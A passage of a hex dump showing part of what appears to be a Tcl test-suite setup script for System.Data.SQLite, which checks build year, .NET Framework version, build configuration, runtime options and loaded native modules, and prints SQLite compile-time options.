... #.. 22290 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 68 # NOTE: Ch 222a0 65 63 6b 20 69 66 20 74 68 65 20 53 79 73 74 65 eck if the Syste 222b0 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 20 70 72 m.Data.SQLite pr 222c0 6f 76 69 64 65 72 20 77 61 73 20 63 6f 6d 70 69 ovider was compi 222d0 6c 65 64 20 77 69 74 68 0d 0a 20 20 20 20 20 20 led with.. 222e0 20 20 23 20 20 20 20 20 20 20 73 75 70 70 6f 72 # suppor 222f0 74 20 66 6f 72 20 61 6e 79 20 65 6e 63 72 79 70 t for any encryp 22300 74 65 64 20 64 61 74 61 62 61 73 65 73 2e 0d 0a ted databases... 22310 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 22320 20 20 20 69 66 20 7b 5b 68 61 76 65 43 6f 6e 73 if {[haveCons 22330 74 72 61 69 6e 74 20 5c 0d 0a 20 20 20 20 20 20 traint \.. 22340 20 20 20 20 20 20 20 20 20 20 64 65 66 69 6e 65 define 22350 43 6f 6e 73 74 61 6e 74 2e 53 79 73 74 65 6d 2e Constant.System. 22360 44 61 74 61 2e 53 51 4c 69 74 65 2e 49 4e 54 45 Data.SQLite.INTE 22370 52 4f 50 5f 43 4f 44 45 43 5d 20 7c 7c 20 5c 0d ROP_CODEC] || \. 22380 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b 68 61 . [ha 22390 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5c 0d 0a veConstraint \.. 223a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 223b0 64 65 66 69 6e 65 43 6f 6e 73 74 61 6e 74 2e 53 defineConstant.S 223c0 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 ystem.Data.SQLit 223d0 65 2e 49 4e 54 45 52 4f 50 5f 49 4e 43 4c 55 44 e.INTEROP_INCLUD 223e0 45 5f 53 45 45 5d 7d 20 74 68 65 6e 20 7b 0d 0a E_SEE]} then {.. 223f0 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 22400 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 59 # NOTE: Y 22410 65 73 2c 20 61 64 64 20 67 65 6e 65 72 69 63 20 es, add generic 22420 63 6f 6e 73 74 72 61 69 6e 74 20 66 6f 72 20 75 constraint for u 22430 73 65 20 62 79 20 74 68 65 20 74 65 73 74 20 73 se by the test s 22440 75 69 74 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 uite... 22450 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 61 64 #.. ad 22460 64 43 6f 6e 73 74 72 61 69 6e 74 20 53 79 73 74 dConstraint Syst 22470 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 45 em.Data.SQLite.E 22480 6e 63 72 79 70 74 69 6f 6e 0d 0a 20 20 20 20 20 ncryption.. 22490 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 }.... 224a0 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 224b0 45 3a 20 43 68 65 63 6b 20 74 68 65 20 63 75 72 E: Check the cur 224c0 72 65 6e 74 20 62 75 69 6c 64 20 79 65 61 72 2e rent build year. 224d0 20 20 42 61 73 69 63 61 6c 6c 79 2c 20 74 68 69 Basically, thi 224e0 73 20 69 6e 64 69 63 61 74 65 73 0d 0a 20 20 20 s indicates.. 224f0 20 20 20 20 20 23 20 20 20 20 20 20 20 77 68 69 # whi 22500 63 68 20 76 65 72 73 69 6f 6e 20 6f 66 20 4d 53 ch version of MS 22510 42 75 69 6c 64 20 61 6e 64 2f 6f 72 20 56 69 73 Build and/or Vis 22520 75 61 6c 20 53 74 75 64 69 6f 20 77 61 73 20 75 ual Studio was u 22530 73 65 64 20 74 6f 0d 0a 20 20 20 20 20 20 20 20 sed to.. 22540 23 20 20 20 20 20 20 20 63 6f 6d 70 69 6c 65 20 # compile 22550 74 68 65 20 61 73 73 65 6d 62 6c 79 20 62 69 6e the assembly bin 22560 61 72 69 65 73 20 75 6e 64 65 72 20 74 65 73 74 aries under test 22570 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 22580 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 tputs $::t 22590 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5c 0d 0a 20 est_channel \.. 225a0 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 225b0 20 63 68 65 63 6b 69 6e 67 20 66 6f 72 20 53 79 checking for Sy 225c0 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 stem.Data.SQLite 225d0 20 62 75 69 6c 64 20 79 65 61 72 2e 2e 2e 20 22 build year... " 225e0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 .... set 225f0 79 65 61 72 20 5b 67 65 74 42 75 69 6c 64 59 65 year [getBuildYe 22600 61 72 5d 0d 0a 20 20 20 20 20 20 20 20 61 64 64 ar].. add 22610 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 Constraint [appe 22620 6e 64 41 72 67 73 20 62 75 69 6c 64 59 65 61 72 ndArgs buildYear 22630 2e 20 24 79 65 61 72 5d 0d 0a 20 20 20 20 20 20 .$year].. 22640 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs $::test_ 22650 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 22660 72 67 73 20 5c 22 20 24 79 65 61 72 20 5c 22 5c rgs \"$year \"\ 22670 6e 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d n].... #. 22680 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a . # NOTE: 22690 20 43 68 65 63 6b 20 74 68 65 20 63 75 72 72 65 Check the curre 226a0 6e 74 20 62 75 69 6c 64 20 2e 4e 45 54 20 46 72 nt build .NET Fr 226b0 61 6d 65 77 6f 72 6b 2e 20 20 42 61 73 69 63 61 amework. Basica 226c0 6c 6c 79 2c 20 74 68 69 73 0d 0a 20 20 20 20 20 lly, this.. 226d0 20 20 20 23 20 20 20 20 20 20 20 69 6e 64 69 63 # indic 226e0 61 74 65 73 20 77 68 69 63 68 20 76 65 72 73 69 ates which versi 226f0 6f 6e 20 6f 66 20 74 68 65 20 2e 4e 45 54 20 46 on of the .NET F 22700 72 61 6d 65 77 6f 72 6b 20 69 73 20 62 65 69 6e ramework is bein 22710 67 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 g.. # 22720 20 20 20 75 73 65 64 20 62 79 20 74 68 65 20 61 used by the a 22730 73 73 65 6d 62 6c 79 20 62 69 6e 61 72 69 65 73 ssembly binaries 22740 20 75 6e 64 65 72 20 74 65 73 74 2e 0d 0a 20 20 under test... 22750 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 22760 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 tputs $::test_c 22770 68 61 6e 6e 65 6c 20 5c 0d 0a 20 20 20 20 20 20 hannel \.. 22780 20 20 20 20 20 20 22 2d 2d 2d 2d 20 63 68 65 63 "---- chec 22790 6b 69 6e 67 20 66 6f 72 20 53 79 73 74 65 6d 2e king for System. 227a0 44 61 74 61 2e 53 51 4c 69 74 65 20 62 75 69 6c Data.SQLite buil 227b0 64 20 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b d .NET Framework 227c0 2e 2e 2e 20 22 0d 0a 0d 0a 20 20 20 20 20 20 20 ... ".... 227d0 20 73 65 74 20 6e 65 74 46 78 20 5b 67 65 74 42 set netFx [getB 227e0 75 69 6c 64 4e 65 74 46 78 5d 0d 0a 20 20 20 20 uildNetFx].. 227f0 20 20 20 20 61 64 64 43 6f 6e 73 74 72 61 69 6e addConstrain 22800 74 20 5b 61 70 70 65 6e 64 41 72 67 73 20 62 75 t [appendArgs bu 22810 69 6c 64 46 72 61 6d 65 77 6f 72 6b 2e 20 24 6e ildFramework.$n 22820 65 74 46 78 5d 0d 0a 20 20 20 20 20 20 20 20 74 etFx].. t 22830 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 puts $::test_cha 22840 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 22850 20 5c 22 20 24 6e 65 74 46 78 20 5c 22 5c 6e 5d \"$netFx \"\n] 22860 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. 22870 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 # NOTE: C 22880 68 65 63 6b 20 74 68 65 20 63 75 72 72 65 6e 74 heck the current 22890 20 62 75 69 6c 64 20 63 6f 6e 66 69 67 75 72 61 build configura 228a0 74 69 6f 6e 2e 20 20 54 68 69 73 20 73 68 6f 75 tion. This shou 228b0 6c 64 20 6e 6f 72 6d 61 6c 6c 79 0d 0a 20 20 20 ld normally.. 228c0 20 20 20 20 20 23 20 20 20 20 20 20 20 62 65 20 # be 228d0 65 69 74 68 65 72 20 22 44 65 62 75 67 22 20 6f either "Debug" o 228e0 72 20 22 52 65 6c 65 61 73 65 22 2e 0d 0a 20 20 r "Release"... 228f0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 22900 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 tputs $::test_c 22910 68 61 6e 6e 65 6c 20 5c 0d 0a 20 20 20 20 20 20 hannel \.. 22920 20 20 20 20 20 20 22 2d 2d 2d 2d 20 63 68 65 63 "---- chec 22930 6b 69 6e 67 20 66 6f 72 20 53 79 73 74 65 6d 2e king for System. 22940 44 61 74 61 2e 53 51 4c 69 74 65 20 62 75 69 6c Data.SQLite buil 22950 64 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e d configuration. 22960 2e 2e 20 22 0d 0a 0d 0a 20 20 20 20 20 20 20 20 .. ".... 22970 73 65 74 20 63 6f 6e 66 69 67 75 72 61 74 69 6f set configuratio 22980 6e 20 5b 67 65 74 42 75 69 6c 64 43 6f 6e 66 69 n [getBuildConfi 22990 67 75 72 61 74 69 6f 6e 5d 0d 0a 20 20 20 20 20 guration].. 229a0 20 20 20 61 64 64 43 6f 6e 73 74 72 61 69 6e 74 addConstraint 229b0 20 5b 61 70 70 65 6e 64 41 72 67 73 20 62 75 69 [appendArgs bui 229c0 6c 64 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e ldConfiguration. 229d0 20 24 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 5d$configuration] 229e0 0d 0a 20 20 20 20 20 20 20 20 74 70 75 74 73 20 .. tputs 229f0 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 $::test_channel 22a00 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 22 20 24 [appendArgs \"$ 22a10 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 5c 22 configuration \" 22a20 5c 6e 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 \n].... # 22a30 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 .. # NOTE 22a40 3a 20 54 72 79 20 74 6f 20 73 65 74 75 70 20 61 : Try to setup a 22a50 6e 20 69 6e 74 65 72 72 75 70 74 20 63 61 6c 6c n interrupt call 22a60 62 61 63 6b 20 75 73 69 6e 67 20 74 68 65 20 73 back using the s 22a70 63 72 69 70 74 20 64 65 62 75 67 67 65 72 0d 0a cript debugger.. 22a80 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 22a90 74 68 61 74 20 77 69 6c 6c 20 63 61 6e 63 65 6c that will cancel 22aa0 20 61 6c 6c 20 53 51 4c 20 71 75 65 72 69 65 73 all SQL queries 22ab0 20 69 6e 20 70 72 6f 67 72 65 73 73 20 66 6f 72 in progress for 22ac0 20 61 6c 6c 20 64 61 74 61 62 61 73 65 0d 0a 20 all database.. 22ad0 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 63 # c 22ae0 6f 6e 6e 65 63 74 69 6f 6e 73 20 6b 6e 6f 77 6e onnections known 22af0 20 74 6f 20 74 68 69 73 20 69 6e 74 65 72 70 72 to this interpr 22b00 65 74 65 72 2e 0d 0a 20 20 20 20 20 20 20 20 23 eter... # 22b10 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b .. if {![ 22b20 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f info exists ::no 22b30 28 73 71 6c 69 74 65 49 6e 74 65 72 72 75 70 74 (sqliteInterrupt 22b40 43 61 6c 6c 62 61 63 6b 29 5d 7d 20 74 68 65 6e Callback)]} then 22b50 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 {.. se 22b60 74 75 70 44 62 49 6e 74 65 72 72 75 70 74 43 61 tupDbInterruptCa 22b70 6c 6c 62 61 63 6b 20 24 3a 3a 74 65 73 74 5f 63 llback $::test_c 22b80 68 61 6e 6e 65 6c 20 24 3a 3a 74 65 73 74 5f 6c hannel$::test_l 22b90 6f 67 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d og.. }... 22ba0 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 22bb0 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 68 65 63 # NOTE: Chec 22bc0 6b 20 66 6f 72 20 74 68 65 20 6e 61 74 69 76 65 k for the native 22bd0 20 72 75 6e 74 69 6d 65 20 6f 70 74 69 6f 6e 2c runtime option, 22be0 20 77 68 69 63 68 20 77 6f 75 6c 64 20 6d 65 61 which would mea 22bf0 6e 20 77 65 20 61 72 65 0d 0a 20 20 20 20 20 20 n we are.. 22c00 20 20 23 20 20 20 20 20 20 20 75 73 69 6e 67 20 # using 22c10 74 68 65 20 6d 69 78 65 64 2d 6d 6f 64 65 20 61 the mixed-mode a 22c20 73 73 65 6d 62 6c 79 2e 0d 0a 20 20 20 20 20 20 ssembly... 22c30 20 20 23 0d 0a 20 20 20 20 20 20 20 20 63 68 65 #.. che 22c40 63 6b 46 6f 72 52 75 6e 74 69 6d 65 4f 70 74 69 ckForRuntimeOpti 22c50 6f 6e 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e on $::test_chann 22c60 65 6c 20 6e 61 74 69 76 65 0d 0a 0d 0a 20 20 20 el native.... 22c70 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 22c80 23 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 69 66 # NOTE: Check if 22c90 20 74 68 65 20 74 65 73 74 20 73 75 69 74 65 20 the test suite 22ca0 73 68 6f 75 6c 64 20 63 6f 75 6e 74 20 74 68 65 should count the 22cb0 20 6e 75 6d 62 65 72 20 6f 66 20 63 6f 6e 6e 65 number of conne 22cc0 63 74 69 6f 6e 73 0d 0a 20 20 20 20 20 20 20 20 ctions.. 22cd0 23 20 20 20 20 20 20 20 22 6f 70 65 6e 65 64 22 # "opened" 22ce0 20 61 6e 64 20 22 63 6c 6f 73 65 64 22 20 66 72 and "closed" fr 22cf0 6f 6d 20 74 68 65 20 70 6f 6f 6c 20 77 68 65 6e om the pool when 22d00 20 64 65 74 65 72 6d 69 6e 69 6e 67 20 69 66 20 determining if 22d10 61 20 74 65 73 74 0d 0a 20 20 20 20 20 20 20 20 a test.. 22d20 23 20 20 20 20 20 20 20 70 61 73 73 65 64 2e 20 # passed. 22d30 20 44 69 73 61 62 6c 69 6e 67 20 74 68 69 73 20 Disabling this 22d40 62 65 68 61 76 69 6f 72 20 69 73 20 73 6f 6d 65 behavior is some 22d50 74 69 6d 65 73 20 6e 65 63 65 73 73 61 72 79 20 times necessary 22d60 28 65 2e 67 2e 0d 0a 20 20 20 20 20 20 20 20 23 (e.g... # 22d70 20 20 20 20 20 20 20 64 75 72 69 6e 67 20 74 68 during th 22d80 65 20 72 65 6c 65 61 73 65 20 74 65 73 74 69 6e e release testin 22d90 67 20 70 72 6f 63 65 73 73 29 20 62 65 63 61 75 g process) becau 22da0 73 65 20 74 68 65 72 65 20 61 72 65 20 73 65 76 se there are sev 22db0 65 72 61 6c 0d 0a 20 20 20 20 20 20 20 20 23 20 eral.. # 22dc0 20 20 20 20 20 20 74 65 73 74 73 20 74 68 61 74 tests that 22dd0 20 72 65 6c 79 20 6f 6e 20 74 68 65 20 22 6f 70 rely on the "op 22de0 65 6e 65 64 20 66 72 6f 6d 20 70 6f 6f 6c 22 20 ened from pool" 22df0 63 6f 75 6e 74 20 62 65 69 6e 67 20 67 72 65 61 count being grea 22e00 74 65 72 0d 0a 20 20 20 20 20 20 20 20 23 20 20 ter.. # 22e10 20 20 20 20 20 74 68 61 6e 20 7a 65 72 6f 2e 20 than zero. 22e20 20 54 68 65 73 65 20 74 65 73 74 73 20 6d 61 79 These tests may 22e30 20 66 61 69 6c 20 64 75 65 20 74 6f 20 74 68 65 fail due to the 22e40 20 6e 6f 6e 2d 64 65 74 65 72 6d 69 6e 69 73 74 non-determinist 22e50 69 63 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 ic.. # 22e60 20 20 20 20 62 65 68 61 76 69 6f 72 20 6f 66 20 behavior of 22e70 74 68 65 20 43 4c 52 20 47 43 2c 20 65 76 65 6e the CLR GC, even 22e80 20 77 68 65 6e 20 74 68 65 72 65 20 69 73 20 6e when there is n 22e90 6f 20 62 75 67 20 69 6e 20 74 68 65 20 63 6f 64 o bug in the cod 22ea0 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 e.. # 22eb0 20 20 20 62 65 69 6e 67 20 74 65 73 74 65 64 2e being tested. 22ec0 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 22ed0 20 20 20 20 20 63 68 65 63 6b 46 6f 72 52 75 6e checkForRun 22ee0 74 69 6d 65 4f 70 74 69 6f 6e 20 24 3a 3a 74 65 timeOption$::te 22ef0 73 74 5f 63 68 61 6e 6e 65 6c 20 6e 6f 50 6f 6f st_channel noPoo 22f00 6c 43 6f 75 6e 74 73 0d 0a 0d 0a 20 20 20 20 20 lCounts.... 22f10 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 #.. # 22f20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 69 66 20 74 NOTE: Check if t 22f30 68 65 20 74 65 73 74 20 73 75 69 74 65 20 73 68 he test suite sh 22f40 6f 75 6c 64 20 75 73 65 20 73 68 61 72 65 64 2d ould use shared- 22f50 63 61 63 68 65 20 6d 6f 64 65 2e 0d 0a 20 20 20 cache mode... 22f60 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 22f70 63 68 65 63 6b 46 6f 72 52 75 6e 74 69 6d 65 4f checkForRuntimeO 22f80 70 74 69 6f 6e 20 24 3a 3a 74 65 73 74 5f 63 68 ption $::test_ch 22f90 61 6e 6e 65 6c 20 73 68 61 72 65 64 43 61 63 68 annel sharedCach 22fa0 65 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a e.... #.. 22fb0 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: 22fc0 52 65 70 6f 72 74 20 74 68 65 20 72 65 73 6f 75 Report the resou 22fd0 72 63 65 20 75 73 61 67 65 20 70 72 69 6f 72 20 rce usage prior 22fe0 74 6f 20 72 75 6e 6e 69 6e 67 20 61 6e 79 20 74 to running any t 22ff0 65 73 74 73 2e 0d 0a 20 20 20 20 20 20 20 20 23 ests... # 23000 0d 0a 20 20 20 20 20 20 20 20 72 65 70 6f 72 74 .. report 23010 53 51 4c 69 74 65 52 65 73 6f 75 72 63 65 73 20 SQLiteResources 23020 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 0d$::test_channel. 23030 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 23040 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 47 72 # NOTE: Gr 23050 61 62 20 74 68 65 20 6c 69 73 74 20 6f 66 20 6e ab the list of n 23060 61 74 69 76 65 20 6d 6f 64 75 6c 65 73 20 66 6f ative modules fo 23070 72 20 74 68 65 20 63 75 72 72 65 6e 74 20 70 72 r the current pr 23080 6f 63 65 73 73 20 61 6e 64 0d 0a 20 20 20 20 20 ocess and.. 23090 20 20 20 23 20 20 20 20 20 20 20 72 65 70 6f 72 # repor 230a0 74 20 6f 6e 20 74 68 65 20 53 79 73 74 65 6d 2e t on the System. 230b0 44 61 74 61 2e 53 51 4c 69 74 65 20 72 65 6c 61 Data.SQLite rela 230c0 74 65 64 20 6f 6e 65 73 2e 0d 0a 20 20 20 20 20 ted ones... 230d0 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 69 66 #.. if 230e0 20 7b 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 6a {[haveSQLiteObj 230f0 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 65 ectCommand]} the 23100 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 n {.. s 23110 65 74 20 6d 6f 64 75 6c 65 73 20 5b 6f 62 6a 65 et modules [obje 23120 63 74 20 69 6e 76 6f 6b 65 20 5c 0d 0a 20 20 20 ct invoke \.. 23130 20 20 20 20 20 20 20 20 20 20 20 53 79 73 74 65 Syste 23140 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 2e 50 72 m.Diagnostics.Pr 23150 6f 63 65 73 73 2e 47 65 74 43 75 72 72 65 6e 74 ocess.GetCurrent 23160 50 72 6f 63 65 73 73 20 4d 6f 64 75 6c 65 73 5d Process Modules] 23170 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 6f 62 .... ob 23180 6a 65 63 74 20 66 6f 72 65 61 63 68 20 2d 61 6c ject foreach -al 23190 69 61 73 20 6d 6f 64 75 6c 65 20 24 6d 6f 64 75 ias module $modu 231a0 6c 65 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 les {.. 231b0 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 231c0 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 6d 6f # NOTE: The mo 231d0 64 75 6c 65 20 66 69 6c 65 20 6e 61 6d 65 20 68 dule file name h 231e0 65 72 65 20 6d 75 73 74 20 62 65 20 6e 6f 72 6d ere must be norm 231f0 61 6c 69 7a 65 64 2e 0d 0a 20 20 20 20 20 20 20 alized... 23200 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 23210 20 20 20 20 73 65 74 20 66 69 6c 65 4e 61 6d 65 set fileName 23220 20 5b 66 69 6c 65 20 6e 6f 72 6d 61 6c 69 7a 65 [file normalize 23230 20 5b 24 6d 6f 64 75 6c 65 20 46 69 6c 65 4e 61 [$module FileNa 23240 6d 65 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 me]].... 23250 20 20 20 20 69 66 20 7b 5b 6c 73 65 61 72 63 68 if {[lsearch 23260 20 2d 65 78 61 63 74 20 2d 6e 6f 63 61 73 65 20 -exact -nocase 23270 2d 2d 20 5b 67 65 74 4e 61 74 69 76 65 4c 69 62 -- [getNativeLib 23280 72 61 72 79 46 69 6c 65 4e 61 6d 65 73 4f 6e 6c raryFileNamesOnl 23290 79 5d 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 y] \.. 232a0 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 69 6c [file tail 232b0 20 24 66 69 6c 65 4e 61 6d 65 5d 5d 20 21 3d 20 $fileName]] != 232c0 2d 31 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 -1} then {.. 232d0 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 tputs 232e0 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20$::test_channel 232f0 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 [appendArgs \.. 23300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23310 20 22 2d 2d 2d 2d 20 66 6f 75 6e 64 20 6c 6f 61 "---- found loa 23320 64 65 64 20 53 51 4c 69 74 65 20 6e 61 74 69 76 ded SQLite nativ 23330 65 20 6c 69 62 72 61 72 79 20 6d 6f 64 75 6c 65 e library module 23340 3a 20 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 : " \.. 23350 20 20 20 20 20 20 20 20 20 24 66 69 6c 65 4e 61 $fileNa 23360 6d 65 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 me \n].. 23370 20 20 20 20 7d 20 65 6c 73 65 69 66 20 7b 5b 73 } elseif {[s 23380 74 72 69 6e 67 20 6d 61 74 63 68 20 5c 0d 0a 20 tring match \.. 23390 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d - 233a0 6e 6f 63 61 73 65 20 2a 2f 53 51 4c 69 74 65 2e nocase */SQLite. 233b0 49 6e 74 65 72 6f 70 2e 64 6c 6c 20 24 66 69 6c Interop.dll$fil 233c0 65 4e 61 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a eName]} then {.. 233d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 70 tp 233e0 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e uts $::test_chan 233f0 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs 23400 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 23410 20 20 20 20 20 22 2d 2d 2d 2d 20 66 6f 75 6e 64 "---- found 23420 20 6c 6f 61 64 65 64 20 53 51 4c 69 74 65 20 69 loaded SQLite i 23430 6e 74 65 72 6f 70 20 61 73 73 65 6d 62 6c 79 20 nterop assembly 23440 6d 6f 64 75 6c 65 3a 20 22 20 5c 0d 0a 20 20 20 module: " \.. 23450 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24$ 23460 66 69 6c 65 4e 61 6d 65 20 5c 6e 5d 0d 0a 20 20 fileName \n].. 23470 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 }.. 23480 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 23490 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 63 }.... c 234a0 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 atch {.. 234b0 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs $::test_ 234c0 63 68 61 6e 6e 65 6c 20 5c 0d 0a 20 20 20 20 20 channel \.. 234d0 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 63 "---- c 234e0 6f 6d 70 69 6c 65 2d 74 69 6d 65 20 6f 70 74 69 ompile-time opti 234f0 6f 6e 73 20 66 6f 72 20 53 51 4c 69 74 65 20 63 ons for SQLite c 23500 6f 72 65 20 6c 69 62 72 61 72 79 2e 2e 2e 20 22 ore library... " 23510 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 .... if 23520 20 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 {[catch {.. 23530 20 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 object i 23540 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e 6f nvoke -flags +No 23550 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 20 20 nPublic \.. 23560 20 20 20 20 20 20 20 20 20 20 20 53 79 73 74 65 Syste 23570 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 53 51 m.Data.SQLite.SQ 23580 4c 69 74 65 33 20 53 51 4c 69 74 65 43 6f 6d 70 Lite3 SQLiteComp 23590 69 6c 65 4f 70 74 69 6f 6e 73 0d 0a 20 20 20 20 ileOptions.. 235a0 20 20 20 20 20 20 7d 20 63 6f 6d 70 69 6c 65 4f } compileO 235b0 70 74 69 6f 6e 73 5d 20 3d 3d 20 30 7d 20 74 68 ptions] == 0} th 235c0 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 235d0 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs$::test_ 235e0 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 235f0 72 67 73 20 5b 66 6f 72 6d 61 74 4c 69 73 74 20 rgs [formatList 23600 5b 6c 73 6f 72 74 20 5c 0d 0a 20 20 20 20 20 20 [lsort \.. 23610 20 20 20 20 20 20 20 20 20 20 24 63 6f 6d 70 69 $compi 23620 6c 65 4f 70 74 69 6f 6e 73 5d 20 3c 6e 6f 6e 65 leOptions] <none 23630 3e 5d 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 >] \n].. 23640 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 23650 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 3a tputs$: 23660 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 75 6e :test_channel un 23670 6b 6e 6f 77 6e 5c 6e 0d 0a 20 20 20 20 20 20 20 known\n.. 23680 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d }.. }. 23690 0a 0d 0a 20 20 20 20 20 20 20 20 63 61 74 63 68 ... catch 236a0 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 74 70 {.. tp 236b0 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e uts $::test_chan 236c0 6e 65 6c 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 nel \.. 236d0 20 20 20 20 20 22 2d 2d 2d 2d 20 63 6f 6d 70 69 "---- compi 236e0 6c 65 2d 74 69 6d 65 20 6f 70 74 69 6f 6e 73 